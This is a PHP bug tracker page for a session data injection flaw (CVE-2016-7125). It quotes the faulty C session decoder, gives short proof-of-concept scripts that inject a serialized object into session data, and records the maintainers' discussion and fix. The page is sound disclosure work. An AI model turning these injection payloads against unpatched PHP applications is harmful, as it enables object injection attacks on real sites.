php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72681 PHP Session Data Injection Vulnerability
Submitted: 2016-07-26 16:34 UTC Modified: 2016-09-05 15:28 UTC
From: taoguangchen at icloud dot com Assigned: stas
Status: Closed Package: Session related
PHP Version: 5.6.23 OS:
Private report: No CVE-ID: 2016-7125
 [2016-07-26 16:34 UTC] taoguangchen at icloud dot com
Description:
------------
PHP Session Data Injection Vulnerability

```
PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{
...
	while (p < endptr) {
		zval **tmp;
		q = p;
		while (*q != PS_DELIMITER) {
			if (++q >= endptr) goto break_outer_loop;
		}
		if (p[0] == PS_UNDEF_MARKER) {
			p++;
			has_value = 0;
		} else {
			has_value = 1;
		}

		namelen = q - p;
		name = estrndup(p, namelen);
		q++;

		if (zend_hash_find(&EG(symbol_table), name, namelen + 1, (void **) &tmp) == SUCCESS) {
			if ((Z_TYPE_PP(tmp) == IS_ARRAY && Z_ARRVAL_PP(tmp) == &EG(symbol_table)) || *tmp == PS(http_session_vars)) {
				goto skip;
			}
		}
		...
skip:
		efree(name);

		p = q;
	}
```

If the session name is not allowed, then session php handler will ignore and skip the name, and continue to parsing. This means that if an attacker can control the session name, then he will be able to inject arbitrarily session data.
The similar issue also exist in session php_binary handler.

PoC:
```
<?php

ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['_SESSION'] = 'ryat|O:8:"stdClass":0:{}';
session_write_close();
session_start();
var_dump($_SESSION);

?>
```


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-07-28 00:20 UTC] taoguangchen at icloud dot com
Add a PoC to trigger this bug in PHP7 series. There are a few different since $GLOBALS['_SESSION'] and PS(http_session_vars) are set to reference types.

```
<?php

ini_set('session.serialize_handler', 'php');
session_start();
$GLOBALS['ryat'] = $GLOBALS;
$_SESSION['ryat'] = 'ryat|O:8:"stdClass":0:{}';
session_write_close();
session_start();
var_dump($_SESSION);

?>
```
 [2016-07-28 00:33 UTC] stas@php.net
-PHP Version: 5.5.38 +PHP Version: 5.6.23
 [2016-07-28 00:33 UTC] stas@php.net
I'm not sure what you are describing here. If you already can run specific code and modify session data, then where vulnerability in the fact that you can modify session data? It's the given you can by virtue of you running the code. Or you mean you can modify the session data without running special code? Then I can't see from your examples how, since your examples require to modify session data as a precondition.
 [2016-07-28 00:33 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2016-07-28 00:45 UTC] taoguangchen at icloud dot com
-Status: Feedback +Status: Open
 [2016-07-28 00:45 UTC] taoguangchen at icloud dot com
give you two example in real world&apps:

```
$_SESSION = array_merge($_SESSION, $_POST);
```

```
if (isset($_GET['id']) && $_GET['result']) {
	$_SESSION[$_GET['id']] = $_GET['result'];
```

you can inject any types values not only string or array via this way. and input to deserialize is still dangerous.
 [2016-07-28 02:05 UTC] taoguangchen at icloud dot com
BTW, you can control the key and value in during session upload progress. If the `session.upload_progress.prefix` is set to empty string, then you can control full key name.
 [2016-07-29 23:04 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2016-07-29 23:04 UTC] stas@php.net
Wait, isn't this:

$_SESSION = array_merge($_SESSION, $_POST);

already a session injection? The same with the other one. Looks like you're using session injection to achieve session injection. I don't see how this bug changes anything. Same with upload progress - if you can control full key name, isn't it a definition of session injection?
 [2016-07-29 23:29 UTC] taoguangchen at icloud dot com
-Status: Feedback +Status: Open
 [2016-07-29 23:29 UTC] taoguangchen at icloud dot com
You can inject arbitrary serialized data via this bug. This means allows putting user input into unserialize(). And this also means you can inject any type data, ex object injection.
 [2016-08-03 06:46 UTC] stas@php.net
ok, I think I finally get it - it allows to inject objects where previously could be only strings. May be dangerous I guess.
 [2016-08-03 07:31 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-08-03 07:31 UTC] stas@php.net
Fix in https://gist.github.com/842d0420ba4f74513e436ce47fd1108b
 and 1ae2bdb9c146fdb3ca36081441aed6b517f51071 in security repo. Please verify.
 [2016-08-04 00:09 UTC] taoguangchen at icloud dot com
The patch looks like OK.
 [2016-08-15 06:03 UTC] stas@php.net
-CVE-ID: +CVE-ID: needed
 [2016-08-17 05:57 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8763c6090d627d8bb0ee1d030c30e58f406be9ce
Log: Fix bug #72681 - consume data even if we're not storing them
 [2016-08-17 05:57 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-08-17 08:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8763c6090d627d8bb0ee1d030c30e58f406be9ce
Log: Fix bug #72681 - consume data even if we're not storing them
 [2016-08-17 09:15 UTC] laruence@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8763c6090d627d8bb0ee1d030c30e58f406be9ce
Log: Fix bug #72681 - consume data even if we're not storing them
 [2016-08-18 11:15 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=61156f0d68704df748b5cbf08c77582c208db8c9
Log: Fix bug #72681 - consume data even if we're not storing them
 [2016-09-05 15:28 UTC] remi@php.net
-CVE-ID: needed +CVE-ID: 2016-7125
 [2016-10-17 10:09 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8763c6090d627d8bb0ee1d030c30e58f406be9ce
Log: Fix bug #72681 - consume data even if we're not storing them
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Apr 30 01:01:34 2017 UTC